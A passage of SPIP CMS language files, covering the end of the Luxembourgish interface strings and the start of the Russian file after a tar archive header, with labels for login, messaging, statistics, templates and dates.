'ical_texte_rss_breves' => 'Et gëtt och e Fichier mat de Kuerzmeldunge vum Site. Wann dir d’Nummer vun enger Rubrik agitt, da kritt der just d’Kuerzmeldunge vun där Rubrik.',
'icone_a_suivre' => 'Aufgaben',
'icone_admin_site' => 'Administratioun vum Site',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Hëllef',
'icone_articles' => 'Artikelen',
'icone_auteurs' => 'Auteuren',
'icone_brouteur' => 'Schnell-Navigatioun',
'icone_configuration_site' => 'Astellungen',
'icone_configurer_site' => 'Äre Site astellen',
'icone_creer_nouvel_auteur' => 'Auteur bäiflécken',
'icone_creer_rubrique' => 'Rubrik bäiflécken',
'icone_creer_sous_rubrique' => 'Ënner-Rubrik bäiflécken',
'icone_deconnecter' => 'Sech ofmellen',
'icone_discussions' => 'Diskussiounen',
'icone_doc_rubrique' => 'Dokumenter',
'icone_ecrire_article' => 'Neien Artikel schreiwen',
'icone_edition_site' => 'Ännerung',
'icone_gestion_langues' => 'Sprooch-Astellungen',
'icone_informations_personnelles' => 'Perséinlech Informatiounen',
'icone_interface_complet' => 'Kompletten Interface',
'icone_interface_simple' => 'Einfachen Interface',
'icone_maintenance_site' => 'Maintenance vum Site',
'icone_messagerie_personnelle' => 'Perséinlech Messagerie',
'icone_repartition_debut' => 'D’Verdeelung säit dem Ufank weisen',
'icone_rubriques' => 'Rubriken',
'icone_sauver_site' => 'Site späicheren',
'icone_site_entier' => 'De ganzen Site',
'icone_sites_references' => 'Verlinkte Siten',
'icone_statistiques' => 'Statistik vum Site',
'icone_suivi_activite' => 'D’Liewen vum Site verfollegen',
'icone_suivi_actualite' => 'Evolutioun vum Site',
'icone_suivi_pettions' => 'Petitioune verfollegen',
'icone_suivi_revisions' => 'Ännerunge vun den Artikelen',
'icone_supprimer_document' => 'Dëst Dokument läschen',
'icone_supprimer_image' => 'Dëst Bild läschen',
'icone_tous_articles' => 'All är Artikelen',
'icone_tous_auteur' => 'All d’Auteuren',
'icone_tous_visiteur' => 'All d’Visiteuren',
'icone_visiter_site' => 'Den ëffentleche Site weisen',
'icone_voir_en_ligne' => 'Online weisen',
'img_indisponible' => 'Bild fehlt',
'impossible' => 'onméiglech',
'info_a_suivre' => 'AUFGABEN"',
'info_acces_interdit' => 'Zougang gespaart',
'info_acces_refuse' => 'Zougang gespaart',
'info_action' => 'Aktioun: @action@',
'info_administrer_rubriques' => 'Dir kënnt dës Rubrik an hier Ënner-Rubriken verwalten',
'info_adresse_non_indiquee' => 'Dir hutt keng Test-Adress uginn!',
'info_aide' => 'HËLLEF:',
'info_ajouter_mot' => 'Dëst Wuert bäiflécken',
'info_annonce' => 'ANNONCE',
'info_annonces_generales' => 'Generell Annoncen:',
'info_article_propose' => 'Proposéierten Artikel',
'info_article_publie' => 'Verëffentlechten Artikel',
'info_article_redaction' => 'Artikel an der Aarbecht',
'info_article_refuse' => 'Ofgeleenten Artikel',
'info_article_supprime' => 'Geläschten Artikel',
'info_articles' => 'Artikelen',
'info_articles_a_valider' => 'Artikelen fir ze bestätegen',
'info_articles_nb' => '@nb@ Artikelen',
'info_articles_proposes' => 'Virgeschloen Artikelen',
'info_articles_un' => '1 Artikel',
'info_auteurs_nombre' => 'Auteur(en):',
'info_authentification_ftp' => 'Umeldung (per FTP).',
'info_breves_2' => 'Kuerzmeldungen',
'info_breves_nb' => '@nb@ Kurzmeldungen',
'info_breves_un' => '1 Kurzmeldung',
'info_connexion_refusee' => 'D’Verbindung gouf ofgeleent.',
'info_contact_developpeur' => 'Kontaktéiert w.e.g. en Entwéckler.',
'info_contenance' => 'Dëse Site huet:',
'info_contribution' => 'Bäiträg',
'info_copyright' => '@spip@ ass eng fräi Software déi ënner @lien_gpl@ verdeelt gëtt.',
'info_copyright_doc' => 'Fir méi Informatioune, kuckt de Site <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'ënner GPL-Lizenz',
'info_cours_edition' => 'Är Artikelen an der Aarbecht',
'info_creer_repertoire' => 'Fléckt e Fichier oder Dossier mat dësem Numm:',
'info_creer_repertoire_2' => 'am Dossier <b>ecrire/data</b> bäi, dann:',
'info_creer_vignette' => 'Vignetten automatesch maachen',
'info_creerdansrubrique_non_autorise' => 'Dir hutt net genuch Rechter fir an dëser Rubrik Inhalt bäizeflécken',
'info_deplier' => 'Opklappen',
'info_descriptif_nombre' => 'Beschreiwung(en):',
'info_description' => 'Beschreiwung:',
'info_description_2' => 'Beschreiwung:',
'info_dimension' => 'Gréisst:',
'info_documents_nb' => '@nb@ Dokumenter',
'info_documents_un' => '1 Dokument',
'info_ecire_message_prive' => 'E privaten Message schécken',
'info_email_invalide' => 'Falsch Email-Adress.',
'info_en_cours_validation' => 'Är Artikelen an der Aarbecht',
'info_en_ligne' => 'Elo online:',
'info_envoyer_message_prive' => 'Dësem Auteur e privaten Message schécken',
'info_erreur_requete' => 'Fehler am Query:',
'info_erreur_squelette2' => 'Et gëtt kee Skelett <b>@fichier@</b> ...',
'info_erreur_systeme' => 'System-Fehler (errno @errsys@)',
'info_erreur_systeme2' => 'Den Harddisk ass villäicht voll oder d’Datebank futti.
<span style=\'color:#f00\'>Versicht <a href=\'@script@\'>d’Datebank ze flécken</a>,
oder kontaktéiert äre Provider.</span>',
'info_fini' => 'Et ass fäerdeg!',
'info_format_image' => 'Bild-Formater déi kënnen benotzt ginn fir Vignetten ze maachen: @gd_formats@.',
'info_format_non_defini' => 'Format net definéiert',
'info_grand_ecran' => 'Groussen Bildschierm',
'info_image_aide' => 'HËLLEF',
'info_image_process_titre' => 'Fabrikatiouns-Method fir d’Vignetten',
'info_impossible_lire_page' => '<b>Fehler!</b> Onméiglech d’Säit <tt><html>@test_proxy@</html></tt> duerch de Proxy ze liesen',
'info_installation_systeme_publication' => 'Ariichte vum System...',
'info_installer_documents' => 'Dir kënnt automatesch all d’Dokumenter aus dem Dossier @upload@ installéieren.',
'info_installer_ftp' => 'Als Administrateur kënnt dir Fichieren per FTP an den Dossier @upload@ eroplueden an se dann hei auswielen.',
'info_installer_images' => 'Dir kënnt Biller am Format JPEG, GIF oder PNG eroplueden.',
'info_installer_images_dossier' => 'Biller an den Dossier @upload@ eroplueden fir se hei kënnen auszewielen.',
'info_interface_complete' => 'Kompletten Interface',
'info_interface_simple' => 'Einfachen Interface',
'info_joindre_document_article' => 'Dier kënnt dësem Artikel Dokumenter bäiflécke vum Typ',
'info_joindre_document_rubrique' => 'Dir kënnt dëser Rubrik Dokumenter bäiflécken vum Typ',
'info_joindre_documents_article' => 'Dir kënnt dësem Artikel Dokumenter bäiflécke vum Typ:',
'info_l_article' => 'den Artikel',
'info_la_breve' => 'd’Kuerzmeldung',
'info_la_rubrique' => 'd’Rubrik',
'info_langue_principale' => 'Haaptsprooch vum Site',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ Pixel',
'info_les_auteurs_1' => 'vun @les_auteurs@',
'info_logo_format_interdit' => 'Nëmmen Logoe mam Format @formats@ ginn ugeholl.',
'info_logo_max_poids' => 'Logoe mussen manner wéi @maxi@ hunn (dëse
Fichier huet @actuel@).',
'info_mail_fournisseur' => 'numm@provider.lu',
'info_message_2' => 'MESSAGE',
'info_message_supprime' => 'MESSAGE GELÄSCHT',
'info_messages_nb' => '@nb@ Messagen',
'info_messages_un' => '1 Message',
'info_mise_en_ligne' => 'Datum vun der Verëffentlechung:',
'info_modification_parametres_securite' => 'Änneren vun de Sécherheets-Astellungen',
'info_mois_courant' => 'An dësem Mount:',
'info_mot_cle_ajoute' => 'D’Schlësselwuert gouf bäigefléckt bei',
'info_multi_herit' => 'Haaptsprooch',
'info_multi_langues_soulignees' => 'Déi <u>ënnerstrache Sproochen</u> hunn en Interface dee komplett oder deelweis iwwersat ass. Wann dier dës Sprooche wielt, da gi vill Elementer vum ëffentleche Site (Datume, Formulairen) automatesch iwwersat. Bei de net ënnerstrache Sproochen erschéngen dës Elementer an der Haaptsprooch vum Site.',
'info_multilinguisme' => 'Verschidde Sproochen',
'info_nom_non_utilisateurs_connectes' => 'Äre Numm ass net op der Lëscht vun den ugemellte Benotzer.',
'info_nom_utilisateurs_connectes' => 'Äre Numm kënnt op d’Lëscht vun den ugemellte Benotzer.',
'info_nombre_en_ligne' => 'Elo ugemellt:',
'info_non_resultat' => 'Kee Resultat fir "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Dir benotzt déi intern Messagerie vun dësem Site net.',
'info_nouveau_message' => 'DIER HUTT E NEIE MESSAGE',
'info_nouveaux_messages' => 'DIR HUTT @total_messages@ NEI MESSAGEN',
'info_numero_abbreviation' => 'Nr. ',
'info_obligatoire' => 'Dës Informatioun ass obligatoresch',
'info_pense_bete' => 'NOTIZBLOCK',
'info_petit_ecran' => 'Klengen Bildschierm',
'info_petition_close' => 'Petitioun ofgeschloss',
'info_pixels' => 'Pixel',
'info_plusieurs_mots_trouves' => 'E puer Schlësselwierder fonnt fir "@cherche_mot@":',
'info_portfolio_automatique' => 'Automatesche Portfolio:',
'info_premier_resultat' => '[@debut_limit@ éischt Resultater vun @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ éischt Resultater vun @total@]',
'info_propose_1' => '[@nom_site_spip@] Virgeschloe: @titre@',
'info_propose_2' => 'Virgeschloenen Artikel
---------------------',
'info_propose_3' => 'Den Artikel "@titre@" gëtt fir d’Verëffentlechung virgeschlolen.',
'info_propose_4' => 'Dir sidd agelueden Iech en unzekucken an ären Avis ze ginn',
'info_propose_5' => 'am Forum deen zu him gehéiert. Dir fannt en op der Adress:',
'info_publie_01' => 'Den Artikel "@titre@" ass vum @connect_nom@ bestätegt ginn.',
'info_publie_1' => '[@nom_site_spip@] VERËFFENTLECHT: @titre@',
'info_publie_2' => 'Verëffentlechten Artikel
---------------------',
'info_rechercher' => 'Sichen',
'info_rechercher_02' => 'Sichen:',
'info_remplacer_vignette' => 'D’Vignette duerch e extra Logo ersetzen:',
'info_rubriques_nb' => '@nb@ Rubriken',
'info_rubriques_un' => '1 Rubrik',
'info_sans_titre_2' => 'ouni Titel',
'info_selectionner_fichier' => 'Dir kënnt e Fichier aus dem Dossier @upload@ wielen',
'info_selectionner_fichier_2' => 'Wielt e Fichier:',
'info_sites_nb' => '@nb@ Websiten',
'info_sites_un' => '1 Website',
'info_supprimer_vignette' => 'Vignette läschen',
'info_symbole_bleu' => 'Dat <b>blot</b> Symbol weist eng <b>Notiz</b>, also e perséinlechen Message.',
'info_symbole_jaune' => 'Dat <b>gielt</b> Symbol weist eng <b>Annonce un all d’Redakteren</b>, ännerbar duerch d’Administrateuren, a siichtbar vun alle Redakteren.',
'info_symbole_vert' => 'Dat <b>gréngt</b> Symbol weist <b>Messagen tëschent de Benotzer</b> vum Site.',
'info_telecharger_nouveau_logo' => 'E neie Logo eroplueden:',
'info_telecharger_ordinateur' => 'Vun ärem Computer eroplueden:',
'info_tous_resultats_enregistres' => '[all d’Resultater si gespäichert]',
'info_tout_afficher' => 'Alles weisen',
'info_travaux_texte' => 'Dëse Site ass nach net ageriicht. Kommt méi spéit erëm...',
'info_travaux_titre' => 'Chantier um Site',
'info_trop_resultat' => 'Ze vill Resultater fir "@cherche_mot@"; verbessert är Sich.',
'info_utilisation_messagerie_interne' => 'Dir kënnt déi intern Messagerie vun dësem Site benotzen.',
'info_valider_lien' => 'dëse Link bestätegen',
'info_verifier_image' => ', kontrolléiert op är Biller richteg gelueden goufen.',
'info_vignette_defaut' => 'Defaut-Vignette',
'info_vignette_personnalisee' => 'Personaliséiert Vignette',
'info_visite' => 'Visite:',
'info_vos_rendez_vous' => 'Är Rendezvous’en',
'infos_vos_pense_bete' => 'Är Notizen',
// L
'label_ajout_id_rapide' => 'Schnell-Ännerung',
'label_poids_fichier' => 'Gréisst',
'lien_afficher_icones_seuls' => 'Nëmmen d’Ikone weisen',
'lien_afficher_texte_icones' => 'D’Ikonen an d’Texter weisen',
'lien_afficher_texte_seul' => 'Nëmmen d’Texter weisen',
'lien_liberer' => 'fräi ginn',
'lien_liberer_tous' => 'Alles fräi ginn',
'lien_nouvea_pense_bete' => 'NEI NOTIZ',
'lien_nouveau_message' => 'NEIE MESSAGE',
'lien_nouvelle_annonce' => 'NEI ANNONCE',
'lien_petitions' => 'PETITIOUN',
'lien_popularite' => 'Popularitéit: @popularite@%',
'lien_racine_site' => 'WUERZEL VUM SITE',
'lien_reessayer' => 'nach eng Kéier probéieren',
'lien_repondre_message' => 'Op dëse Message äntweren',
'lien_supprimer' => 'läschen',
'lien_tout_afficher' => 'Alles weisen',
'lien_visite_site' => 'dëse Site kucken',
'lien_visites' => '@visites@ Visiten',
'lien_voir_auteur' => 'Dësen Auteur weisen',
'ligne' => 'Zeil',
'login' => 'Verbindung',
'login_acces_prive' => 'Zougang zum privaten Deel',
'login_autre_identifiant' => 'sech ënnert engem aneren Login umellen',
'login_cookie_accepte' => 'Regléiert äre Browser dat e Cookie unhëlt (op mannst fir dëse Site).',
'login_cookie_oblige' => 'Fir Iech op dësem Site sécher unzemellen musst Dir e Cookie unhuelen.',
'login_deconnexion_ok' => 'Ofgemellt.',
'login_erreur_pass' => 'Falscht Passwuert.',
'login_espace_prive' => 'privaten Deel',
'login_identifiant_inconnu' => 'De Login « @login@ » ass net bekannt.',
'login_login' => 'Login:',
'login_login2' => 'Login',
'login_login_pass_incorrect' => '(Login oder Passwuert falsch.)',
'login_motpasseoublie' => 'Passwuert vergiess?',
'login_non_securise' => 'Opgepasst, dëse Formulaire ass net geséchert.
Wann dir net wëllt dat äert Passwuert ka um Internet ofgefaange ginn, aktivéiert Javascript an ärem Browser an',
'login_nouvelle_tentative' => 'Neie Versuch',
'login_par_ici' => 'Dir sidd ugemeld... hei geet et weider...',
'login_pass2' => 'Passwuert:',
'login_preferez_refuser' => '<b>Wann dir kee Cookie wëllt</b>, hei ass eng aner (manner sécher) Umeldungs-Method:',
'login_recharger' => 'dës Säit nei lueden',
'login_rester_identifie' => 'E puer Deo ugemellt bleiwen',
'login_retour_public' => 'Zeréck op den ëffentleche Site',
'login_retour_site' => 'Zeréck op de Site',
'login_retoursitepublic' => 'zeréck op den ëffentleche Site',
'login_sans_cookiie' => 'Umeldung ouni Cookie',
'login_securise' => 'Séchere Login',
'login_sinscrire' => 'sech aschreiwen',
'login_test_navigateur' => 'Browser/Login-Test',
'login_verifiez_navigateur' => '(Kontrolléiert op äre Browser d’Passwuert net gespäichert huet...)',
// M
'masquer_colonne' => 'Dës Kolonn verstoppen',
'masquer_trad' => 'Iwwersetzunge verstoppen',
'module_fichiers_langues' => 'Sprooch-Fichieren',
// N
'navigateur_pas_redirige' => 'Wann äre Browser net weider geleet gëtt, da klickt hei.',
'numero' => 'Nummer',
// O
'occurence' => 'Kënnt fir',
'onglet_affacer_base' => 'Datebank läschen',
'onglet_auteur' => 'Den Auteur',
'onglet_contenu_site' => 'Inhalt vum Site',
'onglet_evolution_visite_mod' => 'Evolutioun',
'onglet_fonctions_avances' => 'Fortgeschratt Fonctiounen',
'onglet_informations_personnelles' => 'Perséinlech Informatiounen',
'onglet_interactivite' => 'Interaktivitéit',
'onglet_messagerie' => 'Messagerie',
'onglet_repartition_rubrique' => 'Verdeelung no Rubrik',
'onglet_save_restaur_base' => 'Datebank späicheren/restauréieren',
'onglet_vider_cache' => 'Cache läschen',
// P
'pass_choix_pass' => 'Wielt äert neit Passwuert:',
'pass_erreur' => 'Fehler',
'pass_erreur_acces_refuse' => '<b>Fehler:</b> dir hutt keen Zougang méi zu dësem Site.',
'pass_erreur_code_inconnu' => '<b>Fehler:</b> dëse Code entsprécht kengem Visiteur deen Zougang zu dësem Site huet.',
'pass_erreur_non_enregistre' => '<b>Fehler:</b> den Email <tt>@email_oubli@</tt> ass net op dësem Site ugemellt.',
'pass_erreur_non_valide' => '<b>Fehler:</b> den Email <tt>@email_oubli@</tt> ass falsch!',
'pass_erreur_probleme_technique' => '<b>Fehler:</b> de Message kann duerch technesch Problemer net geschéckt ginn.',
'pass_espace_prive_bla' => 'De privaten Deel ass fir Visiteuren no enger Umeldung op. Wann dir ugemellt sidd kënnt der d’Artikelen an der Aarbecht kucken, Artikelen virschloen an un de Forumen deelhuelen.',
'pass_forum_bla' => 'Dir hutt probéiert un engem Forum deelzehuelen den fir déi ugemellte Visiteuren reservéiert ass.',
'pass_indiquez_cidessous' => 'Gitt hei den Email un ënner dem der Iech ugemellt hutt. Dir kritt dann e Message mat den Instruktiounen fir ären Zougang erëm ze kréien.',
'pass_mail_passcookie' => '(dëst ass en automatesche Message)
Fir ären Zougang zum Site
@nom_site_spip@ (@adresse_site@)
erëm ze kréien, surft op dës URL:
@sendcookie@
Dir kënnt do e neit Passwuert aginn an Iech um Site umellen.
',
'pass_mot_oublie' => 'Passwuert vergiess',
'pass_nouveau_enregistre' => 'Äert neit Passwuert ass gespäichert.',
'pass_nouveau_pass' => 'Neit Passwuert',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Vergiessen vum Passwuert',
'pass_procedure_changer' => 'Mir mussen är Identitéit kontrolléieren fir äert Passwuert ze änneren. Dofir gitt ons d’Email-Adress un déi zu ärem Login gehéiert.',
'pass_quitter_fenetre' => 'Dës Fënster zoumaachen',
'pass_rappel_login' => 'Rappel: äre Login ass "@login@".',
'pass_recevoir_mail' => 'Dir kritt e Message mat Instruktiounen fir den Zougang zum Site erëm ze kréien.',
'pass_retour_public' => 'Zeréck op den ëffentleche Site',
'pass_rien_a_faire_ici' => 'Hei ass näischt lass.',
'pass_vousinscrire' => 'Iech op dësem Site aschreiwen',
'precedent' => 'Zeréck',
'previsualisation' => 'Virschau',
'previsualiser' => 'Virschau kucken',
// R
'retour' => 'Zeréck',
// S
'spip_conforme_dtd' => 'SPIP hëlt dëst Dokument als konform zu sengem DOCTYPE un:',
'squelette' => 'Skelett',
'squelette_inclus_ligne' => 'Skelett abegraff, Zeil',
'squelette_ligne' => 'Skelett, Zeil',
'stats_visites_et_popularite' => '@visites@ Visiten; Popularitéit: @popularite@',
'suivant' => 'Weider',
// T
'taille_go' => '@taille@ GB',
'taille_ko' => '@taille@ kB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ Byte',
'texte_actualite_site_1' => 'Wann dir mam Interface familiariséiert sidd, da kënnt der op "',
'texte_actualite_site_2' => 'kompletten Interface klicken',
'texte_actualite_site_3' => '" fir méi Méiglechkeeten ze weisen.',
'texte_creation_automatique_vignette' => 'Automatesch Vignetten maachen ass op dësem Site ageschalt. Wann dir mat engem Formulaire Biller am Format @gd_formats@ eroplued, da kréien se eng Vignette vun enger maximaler Gréisst vun @taille_preview@ Pixel.',
'texte_documents_associes' => 'Dës Dokumenter sinn un den Artikel gebonnen, awer net direkt agefügt. Jee no Design vum Site ginn se als verlinkten Dokumenter gewisen.',
'texte_erreur_mise_niveau_base' => 'Datebank-Fehler beim Update.
D’Bild <b>@fichier@</b> ass net duerchgaang (Artikel @id_article@).
Notéiert dës Referenz, probéiert nach eng Kéier, a kontrolléiert op d’Biller an den Artikelen gewise ginn.',
'texte_erreur_visiteur' => 'Dir hutt probéiert mat engem net erlaabte Login an de privaten Deel ze goen.',
'texte_inc_auth_1' => 'Dir sidd ugemellt mam Login <b>@auth_login@</b>, mais dëse Login gëtt et net méi an der Datebank.
Probéiert ',
'texte_inc_auth_2' => 'Iech unzemellen',
'texte_inc_auth_3' => ', eventuell nodeems der äre Browser nei gestart hutt.',
'texte_inc_config' => 'D’Ännerungen op dëse Säiten beaflossen de Fonctionnement vun ärem Site ganz staark. Maacht näischt ier der de SPIP-System richteg kennt.<br /><br /><b>Generell ass unzeroden, dës Säiten dem Webmaster vun ärem Site ze iwwerloossen.</b>',
'texte_inc_meta_1' => 'De System huet e Fehler fonnt beim Schreiwen vum Fichier <code>@fichier@</code>. Als Administrateur vum Site,',
'texte_inc_meta_2' => 'kontrolléiert d’Schreif-Rechter',
'texte_inc_meta_3' => 'am Dossier <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'an der Aarbecht',
'texte_statut_poubelle' => 'an der Dreckskëscht',
'texte_statut_propose_evaluation' => 'virgeschloen',
'texte_statut_publie' => 'verëffentlecht',
'texte_statut_refuse' => 'ofgeleent',
'titre_ajouter_mot_cle' => 'SCHLËSSELWUERT BÄIFLÉCKEN:',
'titre_cadre_raccourcis' => 'OFKIERZUNG:',
'titre_changer_couleur_interface' => 'Faarf vum Interface änneren',
'titre_image_admin_article' => 'Dir kënnt dësen Artikel verwalten',
'titre_image_administrateur' => 'Administrateur',
'titre_image_aide' => 'Hëllef fir dëst Element',
'titre_image_auteur_supprime' => 'Geläschten Auteur',
'titre_image_redacteur' => 'Redakter ouni Zougang',
'titre_image_redacteur_02' => 'Redakter',
'titre_image_selecteur' => 'De lijst Bekijk ',
'titre_image_visiteur' => 'Visiteur',
'titre_joindre_document' => 'DOKUMENT BÄIFLÉCKEN',
'titre_mots_cles' => 'SCHLËSSELWIERDER',
'titre_probleme_technique' => 'Opgepasst: e Problem mam SQL-Server verhënnert den Zougang op dësen Deel vum Site. Merci fir är Gedold.',
'titre_publier_document' => 'DOKUMENT AN DËSER RUBRIK VERËFFENTLECHEN',
'titre_signatures_attente' => 'Ënnerschrëften déi op Bestätegung waarden',
'titre_signatures_confirmees' => 'Bestätegt Ënnerschrëften',
'titre_statistiques' => 'Statistik vum Site',
'titre_titre_document' => 'Titel vum Dokument:',
'todo' => 'kënnt nach',
'trad_reference' => '(Referenz vun den Iwwersetzungen)',
// Z
'zbug_balise_b_aval' => ': B-Tag drënner',
'zbug_balise_inexistante' => 'Tag @balise@ falsch deklaréiert vir @from@',
'zbug_balise_sans_argument' => 'Argument feelt am Tag @balise@',
'zbug_boucle' => '-eidel-',
'zbug_boucle_recursive_undef' => 'Rekursiv Boucle net definéiert: @nom@',
'zbug_calcul' => 'Berechnung',
'zbug_champ_hors_boucle' => 'Feld @champ@ ausserhalb vun der Boucle',
'zbug_champ_hors_motif' => 'Feld @champ@ ausserhalb vun engem Kontext @motif@',
'zbug_code' => '-Code-',
'zbug_critere_inconnu' => 'Onbekannte Critère @critere@',
'zbug_distant_interdit' => 'Extern verbueden',
'zbug_doublon_table_sans_cle_primaire' => 'Duebel Valeuren an enger Tabell ouni atomare primäre Schlëssel',
'zbug_doublon_table_sans_index' => 'Verdueblung an enger Tabell ouni Index',
'zbug_erreur_boucle_double' => 'Duebel Definitioun vun der Boucle @id@',
'zbug_erreur_boucle_fermant' => 'Boucle @id@ net zougemaach',
'zbug_erreur_boucle_syntaxe' => 'Falsch Syntax vun der Boucle @id@',
'zbug_erreur_compilation' => 'Kompilatiouns-Fehler',
'zbug_erreur_execution_page' => 'Ausféierungs-Fehler',
'zbug_erreur_filtre' => 'Filter @filtre@ net definéiert',
'zbug_erreur_meme_parent' => 'De Critère {meme_parent} ass just fir d’Boucle (FORUMS) oder (RUBRIQUES)',
'zbug_erreur_squelette' => 'Fehler am Skelett',
'zbug_hors_compilation' => 'Ausserhalb vun der Kompilatioun',
'zbug_info_erreur_squelette' => 'Fehler um Site',
'zbug_inversion_ordre_inexistant' => 'Inversioun vun enger Uerdnung déi et net gëtt',
'zbug_pagination_sans_critere' => 'Tag #PAGINATION ouni Critère {pagination} oder an enger rekursiver Boucle benotzt',
'zbug_parametres_inclus_incorrects' => 'Falschen Inclusiouns-Parameter: @param@',
'zbug_profile' => 'Rechenzäit: @time@',
'zbug_resultat' => '-eidel-',
'zbug_serveur_indefini' => 'SQL-Server net definéiert',
'zbug_statistiques' => 'Statistik vun den SQL-Query’en, klasséiert no der Längt',
'zbug_table_inconnue' => 'Onbekannten SQL-Tabell "@table@"',
'zxml_connus_attributs' => 'Bekannten Attributer',
'zxml_de' => 'vun',
'zxml_inconnu_attribut' => 'Onbekannten Attribut',
'zxml_inconnu_balise' => 'Onbekannten Tag',
'zxml_inconnu_entite' => 'Onbekannten Entitéit',
'zxml_inconnu_id' => 'Onbekannten ID',
'zxml_mais_de' => 'mais vun',
'zxml_non_conforme' => 'ass net konform zum Motiv',
'zxml_non_fils' => 'ass kee Kand vun',
'zxml_nonvide_balise' => 'Tag net eidel',
'zxml_obligatoire_attribut' => 'Obligatorescht Attribut, fehlt awer an',
'zxml_succession_fils_incorrecte' => 'Reiefolleg vun de Kanner net richteg',
'zxml_survoler' => 'driwwer fléien fir déi Richteg ze gesinn',
'zxml_valeur_attribut' => 'Valeur vum Attribut',
'zxml_vide_balise' => 'Eidelen Tag',
'zxml_vu' => 'virdru gesinn'
);
?>
spip_ru.php 0000666 00000137111 15252547432 0006757 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Русский [ru]',
'0_liste' => 'spip-ru@rezo.net',
'0_mainteneur' => '2009-2012 Serge Markitanenko (ss1945@gmail.com).2005-2007 Vitali Zhulkovsky (vzhulkovsky@cmp.com)upd. Maxim Krioukov (krumax@mail.ru)',
// A
'access_interface_graphique' => 'Возврат к полному интерфейсу',
'access_mode_texte' => 'Упрощенный текстовый интерфейс',
'admin_debug' => 'Отладка',
'admin_modifier_article' => 'Изменить статью',
'admin_modifier_auteur' => 'Изменить автора',
'admin_modifier_breve' => 'Изменить новость',
'admin_modifier_mot' => 'Изменить ключ',
'admin_modifier_rubrique' => 'Изменить раздел',
'admin_recalculer' => 'Обновить страницу',
'afficher_calendrier' => 'Показать календарь',
'afficher_trad' => 'показать переводы',
'alerte_maj_impossible' => '<b>Внимание!</b> Не удалось обновить базу SQL до версии @version@. Возможно, неправильно указаны параметры доступа к базе.',
'alerte_modif_info_concourante' => 'Внимание: Эта страница редактируется еще кем-то на сайте. Текущее значение :',
'analyse_xml' => 'XML парсинг',
'annuler' => 'Отмена',
'antispam_champ_vide' => 'Оставьте это поле пустым:',
'articles_recents' => 'Свежие статьи',
'avis_archive_incorrect' => 'это неправильный архивный файл SPIP',
'avis_archive_invalide' => 'этот архивный файл не может быть использован',
'avis_attention' => 'Внимание!',
'avis_champ_incorrect_type_objet' => 'Неправильное поле @name@ для объекта типа @type@',
'avis_colonne_inexistante' => 'Колонка @col@ не существует',
'avis_erreur' => 'Ошибка: см. ниже',
'avis_erreur_connexion' => 'Ошибка соединения',
'avis_erreur_cookie' => 'проблема с cookie ',
'avis_erreur_fonction_contexte' => 'Ошибка программы. Эту функцию нельзя вызывать в этом контексте.',
'avis_erreur_mysql' => 'Ошибка SQL ',
'avis_erreur_sauvegarde' => 'Ошибка в бэкапе (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Ошибка при входе в администрирование сайта',
// B
'barre_a_accent_grave' => 'Прописное A с пимпочкой вверху',
'barre_aide' => 'Используйте кнопки для быстрого форматирования текста',
'barre_e_accent_aigu' => 'Прописное E, acute accent',
'barre_eo' => 'Вставить дифтонг oe',
'barre_eo_maj' => 'Вставить дифтонг EO',
'barre_euro' => 'Вставить символ € (евро)',
'barre_gras' => 'Выделить {{полужирным}}',
'barre_guillemets' => 'Разместить между "двойными кавычками"',
'barre_guillemets_simples' => 'Разместить между ‘одинарными кавычками’',
'barre_intertitre' => '{{{Подзаголовок}}}',
'barre_italic' => 'Выделить {курсивом}',
'barre_lien' => 'Поставить ссылку [ссылка->http://...]',
'barre_lien_input' => 'Пожалуйста, введите объект, на который указывает гиперссылка (можно указать URL по типу http://www.mysite.com или просто номер одной из статей этого сайта).',
'barre_note' => 'Добавить [[Сноску]]',
'barre_paragraphe' => 'Абзац',
'barre_quote' => '<quote>Цитирование</quote>',
'bouton_changer' => 'Изменить',
'bouton_chercher' => 'Поиск',
'bouton_choisir' => 'Выбрать',
'bouton_deplacer' => 'Переместить',
'bouton_download' => 'Скачать',
'bouton_enregistrer' => 'Сохранить',
'bouton_radio_desactiver_messagerie_interne' => 'Отключить приватную переписку',
'bouton_radio_envoi_annonces' => 'Отправить оповещение',
'bouton_radio_non_envoi_annonces' => 'Отключить отправку внутрених сообщений',
'bouton_radio_non_envoi_liste_nouveautes' => 'Не отправлять список последних новостей',
'bouton_recharger_page' => 'перезагрузить страницу',
'bouton_telecharger' => 'Загрузить',
'bouton_upload' => 'Загрузить',
'bouton_valider' => 'Отправить',
// C
'cal_apresmidi' => 'вторая половина дня (p.m.)',
'cal_jour_entier' => 'весь день',
'cal_matin' => 'утро (a.m.)',
'cal_par_jour' => 'календарь - день',
'cal_par_mois' => 'календарь - месяц',
'cal_par_semaine' => 'календарь - неделя',
'choix_couleur_interface' => 'цвет',
'choix_interface' => 'выбор интерфейса',
'colonne' => 'Колонка',
'confirm_changer_statut' => 'Внимание: вы измените статус статьи. Изменить?',
'correcte' => 'исправить',
// D
'date_aujourdhui' => 'сегодня',
'date_avant_jc' => 'До н.э.',
'date_dans' => 'в @delai@',
'date_de_mois_1' => '@j@ января',
'date_de_mois_10' => '@j@ октября',
'date_de_mois_11' => '@j@ ноября',
'date_de_mois_12' => '@j@ декабря',
'date_de_mois_2' => '@j@ февраля',
'date_de_mois_3' => '@j@ марта',
'date_de_mois_4' => '@j@ апреля',
'date_de_mois_5' => '@j@ мая',
'date_de_mois_6' => '@j@ июня',
'date_de_mois_7' => '@j@ июля',
'date_de_mois_8' => '@j@ августа',
'date_de_mois_9' => '@j@ сентября',
'date_demain' => 'завтра',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
